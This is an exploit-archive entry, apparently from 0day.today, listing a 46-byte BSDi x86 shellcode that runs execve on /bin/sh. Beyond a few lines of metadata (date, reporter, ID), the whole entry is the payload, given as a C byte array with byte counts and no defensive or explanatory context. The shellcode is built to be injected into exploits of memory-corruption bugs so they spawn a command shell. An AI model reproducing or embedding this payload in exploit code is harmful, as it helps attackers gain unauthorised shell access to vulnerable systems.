bsdi/x86 execve /bin/sh 46 bytes

2004-09-26T00:00:00
ID 1337DAY-ID-5
Type zdt
Reporter vade79
Modified 2004-09-26T00:00:00

Description

Exploit for bsdi/x86 platform in category shellcode

                                        
                                            ================================
bsdi/x86 execve /bin/sh 46 bytes
================================




/*
 *  BSDi
 *  execve() of /bin/sh by v9 ([email protected])
 */

static char exec[]=
  "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
  "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
  "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
  "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */



#  0day.today [2018-02-06]  #